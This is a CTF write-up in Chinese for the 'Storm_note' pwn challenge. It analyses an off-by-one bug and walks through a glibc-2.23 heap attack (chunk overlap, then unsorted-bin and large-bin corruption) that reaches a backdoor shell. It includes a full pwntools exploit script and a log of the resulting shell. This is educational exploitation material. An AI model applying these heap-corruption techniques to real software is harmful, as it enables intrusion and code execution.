西湖论剑 Pwn Storm_note Writeup
TOC
1. 简介 2. 程序功能介绍 2.1. 安全防护 2.2. 主要功能 2.3. 全局变量 2.4. 申请 2.5. 编辑 2.6. 删除 2.7. 后门函数 2.8. 主函数 3. 程序 4. 思路 4.1. Chunk Extend 4.2. 控制chunk 4.3. 控制unsort bin和large bin 4.4. 伪造 fake_chunk 4.5. 以glibc-2.23为例子 4.5.1. glibc-2.23/malloc/malloc.c:3515 4.5.2. glibc-2.23/malloc/malloc.c:3542 4.5.3. 在下面这里size会被修改成我们想要的值 4.5.4. glibc-2.23/malloc/malloc.c:3341 4.5.5. glibc-2.23/malloc/malloc.c:3521 4.6. 触发后门 5. 完整脚本 5.1. 运行实例 6. 总结
源程序下载:Storm_note
比赛的环境是glibc-2.23,所以推荐在glibc-2.23的环境下测试。
简介 这题还是偏难的,要求选手会构造chunk。以及对large bin和unsorted bin的掌握程度。主要用到的是 Chunk Extend
的chunk重叠(overlapping) 漏洞。
程序功能介绍 安全防护 ex@Ex:~/test$ checksec Storm_note [!] Couldn't find relocations against PLT to get symbols [*] '/home/ex/test/Storm_note' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
主要功能 ssize_t menu () { puts ("================" ); puts ("== Storm Note ==" ); puts ("== 1. alloc ==" ); puts ("== 2. edit ==" ); puts ("== 3. delete ==" ); puts ("== 4. exit ==" ); puts ("================" ); return write (1 , "Choice: " , 8uLL ); }
主要是三个功能。申请,编辑,删除。
全局变量 char *note[16]; int note_size[16];
index 作为键值,使得note
和note_size
一一对应。
申请 unsigned __int64 alloc_note () { int v1; int i; unsigned __int64 v3; v3 = __readfsqword(0x28 u); for ( i = 0 ; i <= 15 && note[i]; ++i ) ; if ( i == 16 ) { puts ("full!" ); } else { puts ("size ?" ); _isoc99_scanf("%d" , &v1); if ( v1 > 0 && v1 <= 0xFFFFF ) { note[i] = calloc (v1, 1uLL ); note_size[i] = v1; puts ("Done" ); } else { puts ("Invalid size" ); } } return __readfsqword(0x28 u) ^ v3; }
calloc则将初始化这部分的内存,会进行0填充。
void *calloc(size_t nmemb, size_t size); The calloc() function allocates memory for an array of nmemb elements of size bytes each and returns a pointer to the allocated memory. The memory is set to zero. If nmemb or size is 0, then calloc() returns either NULL, or a unique pointer value that can later be successfully passed to free().
编辑 unsigned __int64 edit_note () { int v1; int v2; unsigned __int64 v3; v3 = __readfsqword(0x28 u); puts ("Index ?" ); _isoc99_scanf("%d" , &v1); if ( v1 >= 0 && v1 <= 15 && note[v1] ) { puts ("Content: " ); v2 = read (0 , (void *)note[v1], (signed int )note_size[v1]); *(_BYTE *)(note[v1] + v2) = 0 ; puts ("Done" ); } else { puts ("Invalid index" ); } return __readfsqword(0x28 u) ^ v3; }
注意这里:
v2 = read (0 , (void *)note[v1], (signed int )note_size[v1]); *(_BYTE *)(note[v1] + v2) = 0 ;
删除 unsigned __int64 delete_note () { int v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("Index ?" ); _isoc99_scanf("%d" , &v1); if ( v1 >= 0 && v1 <= 15 && note[v1] ) { free ((void *)note[v1]); note[v1] = 0LL ; note_size[v1] = 0 ; } else { puts ("Invalid index" ); } return __readfsqword(0x28 u) ^ v2; }
note_size[v1] = 0;
:程序free之后会进行NULL
赋值,应该不存在UAF漏洞。
后门函数 void __noreturn backdoor () { char buf; unsigned __int64 v1; v1 = __readfsqword(0x28 u); puts ("If you can open the lock, I will let you in" ); read (0 , &buf, 0x30 uLL); if ( !memcmp (&buf, (const void *)0xABCD0100 LL, 0x30 uLL) ) system ("/bin/sh" ); exit (0 ); }
0xABCD0100
动态调试发现,这个地址每次都不一样,查看程序的导入表,看看这块内存是怎么被申请的。
ex@Ex:~/test$ readelf --dyn-syms Storm_note Symbol table '.dynsym' contains 28 entries: Num: Value Size Type Bind Vis Ndx Name 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND 1: 00000000000009a0 0 SECTION LOCAL DEFAULT 10 2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND free@GLIBC_2.2.5 (2) 3: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterTMCloneTab 4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.2.5 (2) 5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND mallopt@GLIBC_2.2.5 (2) 6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND write@GLIBC_2.2.5 (2) 7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __stack_chk_fail@GLIBC_2.4 (3) 8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND mmap@GLIBC_2.2.5 (2) 9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND setbuf@GLIBC_2.2.5 (2) 10: 0000000000000000 0 FUNC GLOBAL DEFAULT UND system@GLIBC_2.2.5 (2) 11: 0000000000000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.2.5 (2) 12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.2.5 (2) 13: 0000000000000000 0 FUNC GLOBAL DEFAULT UND memcmp@GLIBC_2.2.5 (2) 14: 0000000000000000 0 FUNC GLOBAL DEFAULT UND calloc@GLIBC_2.2.5 (2) 15: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__ 16: 0000000000000000 0 FUNC GLOBAL DEFAULT UND open@GLIBC_2.2.5 (2) 17: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _Jv_RegisterClasses 18: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __isoc99_scanf@GLIBC_2.7 (4) 19: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.2.5 (2) 20: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_registerTMCloneTable 21: 0000000000000000 0 FUNC WEAK DEFAULT UND __cxa_finalize@GLIBC_2.2.5 (2) 22: 0000000000202020 8 OBJECT GLOBAL DEFAULT 24 stdout@GLIBC_2.2.5 (2) 23: 0000000000202010 0 NOTYPE GLOBAL DEFAULT 23 _edata 24: 0000000000202120 0 NOTYPE GLOBAL DEFAULT 24 _end 25: 0000000000202030 8 OBJECT GLOBAL DEFAULT 24 stdin@GLIBC_2.2.5 (2) 26: 0000000000202010 0 NOTYPE GLOBAL DEFAULT 24 __bss_start 27: 0000000000202040 8 OBJECT GLOBAL DEFAULT 24 stderr@GLIBC_2.2.5 (2)
看到了mmap函数,用ida的交叉引用,查出了下面的函数:
ssize_t init_proc () { ssize_t result; int fd; setbuf (stdin, 0LL ); setbuf (stdout, 0LL ); setbuf (stderr, 0LL ); if ( !mallopt (1 , 0 ) ) exit (-1 ); if ( mmap ((void *)0xABCD0000 LL, 0x1000 uLL, 3 , 34 , -1 , 0LL ) != (void *)0xABCD0000 LL ) exit (-1 ); fd = open ("/dev/urandom" , 0 ); if ( fd < 0 ) exit (-1 ); result = read (fd, (void *)0xABCD0100 LL, 0x30 uLL); if ( result != 48 ) exit (-1 ); return result; }
进入init_proc函数,该函数首先调用mallopt函数禁用了fastbin。int mallopt(int param,int value)为内存分配控制函数,此处param参数取值为M_MXFAST,控制着fastbin大小上限,此处设置为1,表示禁用fastbin,fastbin attack的思路已经行不通。
由这行代码可知fd = open("/dev/urandom", 0);
,应该是个随机数。
主函数 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { int v3; unsigned __int64 v4; v4 = __readfsqword(0x28 u); init_proc (*(_QWORD *)&argc, argv, envp); while ( 1 ) { while ( 1 ) { menu (); _isoc99_scanf("%d" , &v3); if ( v3 != 3 ) break ; delete_note (); } if ( v3 > 3 ) { if ( v3 == 4 ) exit (0 ); if ( v3 == 666 ) backdoor (); LABEL_15: puts ("Invalid choice" ); } else if ( v3 == 1 ) { alloc_note (); } else { if ( v3 != 2 ) goto LABEL_15; edit_note (); } } }
主函数也比较简单,输入666即可触发后门进行判断,关键在于怎么绕过 if ( !memcmp(&buf, (const void *)0xABCD0100LL, 0x30uLL) )
部分。
程序 综上所诉,我们只看到了一个 off by one 漏洞(*(_BYTE *)(note[v1] + v2) = 0;
)。所以可以用 Chunk Extend 漏洞来精心构造fake_chunk,从而控制unsort chunk和large chunk中的指针,当large bin发生插入操作的时候可以实现对任意地址的写(mmap区域)。
思路
Chunk Extend 使得chunk重叠
控制chunk
控制unsort bin和large bin
伪造 fake_chunk
触发后门
Chunk Extend 用 Chunk Extend
漏洞使得两个chunk重叠。
alloc_note(0x18 ) alloc_note(0x508 ) alloc_note(0x18 ) alloc_note(0x18 ) alloc_note(0x508 ) alloc_note(0x18 ) alloc_note(0x18 ) edit_note(1 , 'a' *0x4f0 + p64(0x500 )) delete_note(1 ) edit_note(0 , 'a' *(0x18 )) alloc_note(0x18 ) alloc_note(0x4d8 ) delete_note(1 ) delete_note(2 )
这里如果理解不了的话,可以画出布局图来,这样会更形象一点。
扩展攻击之后的内存布局如下:
pwndbg> x/8gx ¬e 0x5617875570a0 <note>: 0x000056178869c010 0x0000000000000000 0x5617875570b0 <note+16>: 0x0000000000000000 0x000056178869c560 0x5617875570c0 <note+32>: 0x000056178869c580 0x000056178869ca90 0x5617875570d0 <note+48>: 0x000056178869cab0 0x000056178869c050 pwndbg> bin fastbins 0x20 : 0x0 0x30 : 0x0 0x40 : 0x0 0x50 : 0x0 0x60 : 0x0 0x70 : 0x0 0x80 : 0x0 unsortedbin all : 0x56178869c020 —▸ 0x7fd89a3c4b78 (main_arena+88) ◂— 0x56178869c020 smallbins empty largebins empty pwndbg> p *(struct malloc_chunk*)(0x56178869c020) $3 = { prev_size = 7523377975159973992, size = 1329, fd = 0x7fd89a3c4b78 <main_arena+88>, bk = 0x7fd89a3c4b78 <main_arena+88>, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> x/8wx ¬e_size 0x561787557060 <note_size>: 0x00000018 0x00000000 0x00000000 0x00000018 0x561787557070 <note_size+16>: 0x00000508 0x00000018 0x00000018 0x000004d8
通过调试可以看出,index为7的指向的地方和unsortedbin里面的chunk已经重叠了。
控制chunk alloc_note(0x30 ) alloc_note(0x4e8 )
alloc_note(0x30)
之后2号块与7号块交叠,可以通过7号块修改2号块的内容(后面将2号块加入unsort bin)。
pwndbg> x/8gx ¬e 0x55a2b7f1f0a0 <note>: 0x000055a2b8701010 0x000055a2b8701030 0x55a2b7f1f0b0 <note+16>: 0x000055a2b8701070 0x000055a2b8701560 0x55a2b7f1f0c0 <note+32>: 0x000055a2b8701580 0x000055a2b8701a90 0x55a2b7f1f0d0 <note+48>: 0x000055a2b8701ab0 0x000055a2b8701050
同理可以在4号和5号上继续构造块交叠,由8号块来控制其内容(4号块加入large bin)。
edit_note(4 , 'a' *(0x4f0 ) + p64(0x500 )) delete_note(4 ) edit_note(3 , 'a' *(0x18 )) alloc_note(0x18 ) alloc_note(0x4d8 ) delete_note(4 ) delete_note(5 ) alloc_note(0x40 )
控制unsort bin和large bin 接下来将2号块和4号块分别加入unsort bin和large bin,后面可以通过7号块和8号块对其中的指针进行修改。
delete_note(2 ) alloc_note(0x4e8 ) delete_note(2 )
由于unsorted bin是FIFO(队列模式),所以可以先删除2号块,再申请他,由于先检查队列尾部,也就是原先4号块的chunk部分,发现chunk大小不够大,然后将其放入large bin中。该chunk由8号块控制。
然后,继续删除2号块,那么此时unsorted bin里还剩下2号块,该部分通过7号块来控制。
伪造 fake_chunk 修改unsorted bin 和large bin中的内容。
storage = 0xabcd0100 fake_chunk = storage - 0x20 layout = [ '\x00' * 16 , p64(0 ), p64(0x4f1 ), p64(0 ), p64(fake_chunk) ] edit_note(7 , flat(layout)) layout = [ '\x00' * 32 , p64(0 ), p64(0x4e1 ), p64(0 ), p64(fake_chunk + 8 ), p64(0 ), p64(fake_chunk - 0x18 - 5 ) ] edit_note(8 , flat(layout))
然后申请内存来触发一系列动作:
由于unsorted bin是FIFO模式,所以会优先判断 unsorted bin 的 bk 开始查询,由于伪造unsorted bin 的 bk时,我们故意向上偏移了0x20字节,所以得到的size就是0,由于不够申请的size,转而进入large bin 判断部分。然后进行一系列的链接操作。最后我们会分配到0xabcd00f0 地址。
以glibc-2.23为例子 glibc-2.23/malloc/malloc.c:3515 unsorted_chunks (av)->bk = bck;bck->fd = unsorted_chunks (av);
这里unsorted bin 变成了0xabcd00e0,0xabcd00f0发的位置被修改为<main_arena+88>。
glibc-2.23/malloc/malloc.c:3542 victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd;
这里会把我们构造好的large bin拿出来。
在下面这里size会被修改成我们想要的值 ───────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────── In file: /home/ex/glibc/glibc-2.23/malloc/malloc.c 3576 victim->fd_nextsize = fwd; 3577 victim->bk_nextsize = fwd->bk_nextsize; 3578 fwd->bk_nextsize = victim; 3579 victim->bk_nextsize->fd_nextsize = victim; 3580 } ► 3581 bck = fwd->bk; 3582 } 3583 } 3584 else 3585 victim->fd_nextsize = victim->bk_nextsize = victim; 3586 } ───────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────── 00 :0000│ rsp 0x7fff5f0476b0 ◂— 0x48 /* 'H' */ 01 :0008│ 0x7fff5f0476b8 ◂— 0x5 02 :0010│ 0x7fff5f0476c0 —▸ 0x55a37f05ba60 (_start) ◂— xor ebp, ebp 03 :0018│ 0x7fff5f0476c8 —▸ 0x7f9101597b20 (main_arena) ◂— 0x100000001 04 :0020│ 0x7fff5f0476d0 ◂— 0x48 /* 'H' */ 05 :0028│ 0x7fff5f0476d8 —▸ 0x55a3801f1ac0 ◂— 0x0 06 :0030│ 0x7fff5f0476e0 ◂— 0x20540 07 :0038│ 0x7fff5f0476e8 ◂— 0x0 ─────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────── ► f 0 7f910127faab _int_malloc+1262 f 1 7f9101281b6f calloc+323 f 2 55a37f05bc46 alloc_note+182 f 3 55a37f05c0c2 main+116 f 4 7f910122dc09 __libc_start_main+385 pwndbg> x/4gx 0xabcd00e0 0xabcd00e0 : 0xa3801f1060000000 0x0000000000000055 0xabcd00f0 : 0x00007f9101597b78 0x0000000000000000
所以我们只要申请的size刚好符合0x0000000000000055(这个可能是随机的)的对齐规则即可。详见下面的解释。
我们需要的size是0x48,经过下面的对齐,会得到nb的值为0x50。
glibc-2.23/malloc/malloc.c:3341 checked_request2size (bytes, nb);
而0xabcd00e0的size经过glibc-2.23/malloc/malloc.c:3341
的size = chunksize (victim);
之后,也会对齐为0x50。
glibc-2.23/malloc/malloc.c:3521 if (size == nb){ set_inuse_bit_at_offset (victim, size); if (av != &main_arena) victim->size |= NON_MAIN_ARENA; check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; }
由于size和nb匹配成功,则直接返回0xabcd00f0
给我们。
触发后门 edit_note(2 , p64(0 ) * 8 ) sh.sendline('666' ) sh.sendline('\x00' *0x30 ) sh.interactive()
完整脚本 from pwn import *sh = process('./Storm_note' ) elf = ELF('./Storm_note' ) f = open ('pid' , 'w' ) f.write(str (proc.pidof(sh)[0 ])) f.close() def alloc_note (size ): sh.sendline('1' ) sh.recvuntil('?' ) sh.sendline(str (size)) sh.recvuntil('Choice' ) def edit_note (idx, mes ): sh.sendline('2' ) sh.recvuntil('?' ) sh.sendline(str (idx)) sh.recvuntil('Content' ) sh.send(mes) sh.recvuntil('Choice' ) def delete_note (idx ): sh.sendline('3' ) sh.recvuntil('?' ) sh.sendline(str (idx)) sh.recvuntil('Choice' ) sh.recvuntil('Choice' ) alloc_note(0x18 ) alloc_note(0x508 ) alloc_note(0x18 ) alloc_note(0x18 ) alloc_note(0x508 ) alloc_note(0x18 ) alloc_note(0x18 ) edit_note(1 , 'a' *0x4f0 + p64(0x500 )) delete_note(1 ) edit_note(0 , 'a' *(0x18 )) alloc_note(0x18 ) alloc_note(0x4d8 ) delete_note(1 ) delete_note(2 ) alloc_note(0x30 ) alloc_note(0x4e8 ) edit_note(4 , 'a' *(0x4f0 ) + p64(0x500 )) delete_note(4 ) edit_note(3 , 'a' *(0x18 )) alloc_note(0x18 ) alloc_note(0x4d8 ) delete_note(4 ) delete_note(5 ) alloc_note(0x40 ) delete_note(2 ) alloc_note(0x4e8 ) delete_note(2 ) storage = 0xabcd0100 fake_chunk = storage - 0x20 layout = [ '\x00' * 16 , p64(0 ), p64(0x4f1 ), p64(0 ), p64(fake_chunk) ] edit_note(7 , flat(layout)) layout = [ '\x00' * 32 , p64(0 ), p64(0x4e1 ), p64(0 ), p64(fake_chunk + 8 ), p64(0 ), p64(fake_chunk - 0x18 - 5 ) ] edit_note(8 , flat(layout)) alloc_note(0x48 ) edit_note(2 , p64(0 ) * 8 ) sh.sendline('666' ) sh.sendline('\x00' *0x30 ) sh.interactive() os.system("rm -f pid" )
运行实例 ex@ubuntu :~/test$ ./exp.py [+] Starting local process './Storm_note': pid 16115 [*] '/home/ex/test/Storm_note' Arch : amd64-64-little RELRO : Full RELRO Stack : Canary found NX : NX enabled PIE : PIE enabled [*] Switching to interactive mode : If you can open the lock, I will let you in $ id uid =1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $
由于这个受到随机化的影响,不一定每次都会成功,多试几次就可以。
总结 多调试源码,能更好的了解其原理。